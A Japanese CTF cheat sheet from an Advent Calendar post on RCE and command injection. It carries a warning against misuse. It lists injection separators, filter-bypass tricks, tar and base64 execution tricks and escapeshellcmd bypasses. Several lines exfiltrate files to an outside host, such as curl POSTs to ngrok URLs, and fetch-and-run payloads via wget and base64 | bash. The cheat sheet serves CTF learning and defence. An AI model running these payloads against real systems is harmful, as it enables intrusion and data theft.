この記事はCTFのWebセキュリティ Advent Calendar 2021の14日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
RCE/コマンドインジェクション
- RCE: Remote Code Execution
- 遠隔で意図しないコードを走らせることでシステムを侵害するもの
- コマンドインジェクションは、コマンドインジェクションができるとRCEできてしまうみたいな繋がり
- RCEの契機
- コマンドインジェクション
- ファイルをアップロードして実行できてしまう
- 安全でないデシリアライゼーション
- etc...
実行時に使えるコマンドについて
Linux
- よく使う
- findテク
find / -name "user.txt" 2>/dev/nulluser.txtというファイルを探してくるfind . -type f -exec cat {} +フラグを検索してくるコマンドfind / -iname "*flag*"flagという名前の入ったファイル名を探してくるコマンドfind / -name user.txt 2>/dev/nulluser.txtというファイルのパスを探してくるが、エラーが沢山出るときは、/dev/nullに出力して消しているfind / -name mattermost 2>/dev/nullmattermostの設定ファイルを探したいみたいなときはこういうのをやってみるfind / -name "user.txt" -exec md5sum {} \; 2>/dev/null検索結果すべてについてmd5ハッシュ取得したいときfind . -type f -exec tail -n+1 {} +現在の階層以下のファイルをファイル名付きで中身を表示する
- 持ってきて外部送信する
cat /flag | curl [url] -X POST -d @-cat /flag | base64 | curl [url] -X POST -d @-curl http://mydomain:8080/$(ls flag*)
lsls -la大体これでいいls -alps最終進化系echo opt/*とするとls opt/の代わりに使えるhead /*とするとls /の代わりに使えるし、中身も表示させるls -R再帰的にフォルダの中身を確認できる-Raとすれば隠しフォルダも入る
- 未分類
| less -R色付きでlessできるecho "[userpass]" | su [username] -c "[command]"- あるユーザー権限でコマンド実行したいとき
grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'echo '{encoded}' | base64 -d | bash- base64化したコードが実行可能
base64 req.phpwget <webhook-url>これでRCE達成できてるかを確認できるsu [username]ユーザー変更- grepで
Binary file (standard input) matchesと言われたときはgrepに-aオプションを使えばいい - ホスト側で
sudo tcpdump -i eth0 icmpとして攻撃側でping [myip]を試すとパケットが来るかで実行できたか判断がつく hostname -i自身のIPアドレス取得cat all.txt | grep -v "^#" | wc -l先頭が#の行を削除して行数数えてるgrep -l phishing@email.com /home/ranger/Desktop/data/*phishing@email.comが含まれるファイルを探してくる$(env | grep FLAG)でうまくとってこれなかったら、$(env | grep FLAG | base64)で取ってこれたことがある
- 普通の操作
grep [検索したい文字列] -rl [検索対象フォルダのパス]検索パス配下に検索したい文字列が含まれるファイルをリスト化してくるgrep -ir '.*' *今のフォルダ以下の中身を全部持ってこれるコマンド
Windows
whoamiただ単に確認したいときipconfigtasklistnetstat -anC:\Windows\System32\cmd.exe- そのままコマンド使うとき
C:\Windows\System32\cmd.exe /c [command]
- そのままコマンド使うとき
C:\Windows\System32\hostname.exe- ホスト名を返す
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
コマンドインジェクション
- コマンドインジェクション
- OSコマンドインジェクションみたいにOSが付くときもある
- RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する
- そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。
- お手軽に差し込む場合は
||command||とすればいい- 差し込み後に
A||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される - commandが正常終了されるような感じになっていればBは実行されずに終わる
; sleep 10;とか||sleep 10||が最初は良さそう(レスポンスがなくてもわかるし)
- 差し込み後に
- パイプ文字について
A | BAの標準出力をBの標準入力につなげるやつA && BAを実行して正常終了したら、B実行A & BAとBを並列実行A || BAを実行して異常終了したら、B実行A; BAを実行して、Bを実行
- ペイロード
- What is Command Injection - CTF 101
- ;ls $(ls)
ls
- ;ls $(ls)
- w181496/Web-CTF-Cheatsheet: Web CTF CheatSheet 🐈
- ?とか*とか使った例のテク
/???/??t /???/p??s??
- ?とか*とか使った例のテク
- What is Command Injection - CTF 101
- `で囲むと実行できたりする
- 改行することで複文実行できる可能性がある
\ncat flag.txtみたいな感じ
名前付きパイプ
- mkfifoで作成できる
- lsをしたときに先頭がpとして出てくる
- 出力しようとすると入力されるまで待つし、逆に入力しようとすると出力されるまで待つ
テクまとめ
$(pwd | cut -c1)を使うと、/になるctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
- RCEできるけど文字列制限が厳しい場合
- 分割輸送テク
rm /tmp/[randomstring]echo -n '[command]' >> /tmp/[randomstring]でコマンドを分割輸送sh /tmp/[randomstring]
- wgetで輸送してくるテク
.sh .ch /tmpして.sh wget aaaa.ef/x.sh chmod 777 /tmp/x
- 分割輸送テク
- スペースが使えないとき
{echo,hello,world}みたいに書くと、hello worldと出力される- 例
{cd,..}&&{ls,-la}&&{cat,--,-FLAG-2-of-2-.txt}||{cd,..}||{cd,~}&&{ls,-la,icons}"||{cd,..}&&{ls,-la}&&{cat,index.cgi}
cd ..を使うことで../が禁止されててもなんとかなるコマンドの頭に\(バックスラッシュ)をつけると、alias を無視してコマンドを入力できる。- lsにエイリアスがついて意地悪されても
\lsとすれば従来のlsが実行可能
- lsにエイリアスがついて意地悪されても
- tarコマンド
- UTCTF: Tar Inspector | Debugmen
--to-commandというのがあり、tarファイルの中身のファイルを指してファイル実行ができるevil.shというのを入れたtarファイルで--to-command=sh evil.shとすれば実行可能
- 後ろでエラーが出てしまうときは
--mtime=に全部押し込むとエラーを消せる
- curlコマンド
- Cyber Apocalypse CTF 2021 Writeup | y011d4.log
curl [url] -F query="flag=@[path]"とすることでpathにあるファイルの中身をqueryとしてurlに送信してくれる- 例
MY_URL -F "flag=@/flag
- 例
- Web: Reveal Me (Wormcon 0x01). Description: Everything is in front of… | by x3rz | vulnfreak | Aug, 2021 | Medium
curl -l -d @/etc/flag.txt http://uniqueid.ngrok.ioでもフラグが遅れる
- HackTheBox - Haircut | p0i5on8
curl [url] -o [path]で任意ファイルアップロードできる
- Cyber Apocalypse CTF 2021 Writeup | y011d4.log
- 検索の後にpipeを差し込むことで実現できたりする。blind command injection
- base64を使って文字種制限をバイパスする
HactivityCon 2021 CTF Web challenge writeup - きなこもち。
-
echo "base64-decoded payload" > /tmp/payload.txtでペイロードを送り込む -
echo "import base64" > /tmp/shell.pyとecho "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.pyで実行コード作成 -
python3 /tmp/shell.pyで発動
-
- Blind Command Injection
- 外部の通信ができないが、エラー発生などからサイドチャネル的に情報を抜き出してくる
- st98 の日記帳 - コピーのMicroservices As A Service 1
(ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'という感じでビット演算を利用して1ビットずつ特定していく
言語/フレームワーク
- OS コマンドインジェクション その危険性と対策 | yamory Blog
- 実行コマンド一覧がある
PHP
- 任意コマンド実行方法が沢山ある
- PHPはコマンド実行関数多すぎだろ - ぱせらんメモ
- PHP: 実行演算子 - Manual
- シェルを経由しないOSコマンド呼び出しがPHP7.4で実装された | 徳丸浩の日記
- ついに安全なコマンド呼び出し方法が得られた?
- escapeshellcmd関数
- PHP: escapeshellcmd - Manual
- PHPのescapeshellcmdの危険性 | 徳丸浩の日記
' および " は、対になっていない場合にのみエスケープされますとあるので、対にすればエスケープされず、バイパス可能- phpのescapeshellcmdの余計なお世話を無くすパッチ – yohgaki's blog
- escapeshellarg, escapeshellcmd関数は危険
- アクセスログとLFIを使ってRCE達成するやり方
Ruby
- 任意コマンド実行方法